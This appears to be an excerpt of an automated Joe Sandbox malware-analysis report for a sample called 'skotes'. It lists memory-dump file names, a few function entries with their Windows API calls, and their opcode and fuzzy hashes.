Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a8fbc6644d7b0041c05e165f67fde912d3d6bd56b67012ce1b5021f2be20f6
Instruction ID: 993886367ef20c58b31bc8a68463c92ddec60df40c9bc775dd41d8c8ae02af39
Opcode Fuzzy Hash: 49a8fbc6644d7b0041c05e165f67fde912d3d6bd56b67012ce1b5021f2be20f6
Instruction Fuzzy Hash: 6321B37290520D6BEB11AB68FE42BAF3769DF4137CF200315F9242B1D2DB70AE259661

Function 009DA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0cd4354ae008b88366f17bd4270fa52b60390de088ba6a5809cf53945cf63ae4
Instruction ID: e00ce7e67600959bc57a6f3128e5efdc5b4b731104873fa7ee5c2ee063061ab9
Opcode Fuzzy Hash: 0cd4354ae008b88366f17bd4270fa52b60390de088ba6a5809cf53945cf63ae4
Instruction Fuzzy Hash: 1DE07D122DE30096FE00B3E96D51B2FB1888BF1744F220415F514D61D0865095C08023

Function 009E6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 009E6D11
Sleep.KERNEL32(00007530), ref: 009E6D25

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: e12abf40167d31a30f6b32f9e1e94969ce79a4033b7fa6a2b91fbccf57237ee6
Instruction ID: 02f19a320f413ba8512fb79387dd2bcbf4401a9b83cb1d4fdfe34115e5cd2424
Opcode Fuzzy Hash: e12abf40167d31a30f6b32f9e1e94969ce79a4033b7fa6a2b91fbccf57237ee6
Instruction Fuzzy Hash: DCD08C307C4318F6F23247612C0BF26AE209B0EF81F75484073883F0E081E8380047A8

Function 00A07124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00A0705B,?,?,00000000,00000000), ref: 00A07166

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: e7b81ee9ba12f52889523ff852b99e76bc5b9657086a4b92f36e2f7a9dcb1c94
Instruction ID: 2ed4ef85f7bbac7a3018c0e9befa02566d21cfcf9c7bebac31ee74b4f78ac4a0
Opcode Fuzzy Hash: e7b81ee9ba12f52889523ff852b99e76bc5b9657086a4b92f36e2f7a9dcb1c94
Instruction Fuzzy Hash: AD11D67290410DABDB10DBA5D981ADFB7BCAF48310F609666E511E61D0EA30FA498B61

Function 00A0AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00A0AC8D

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
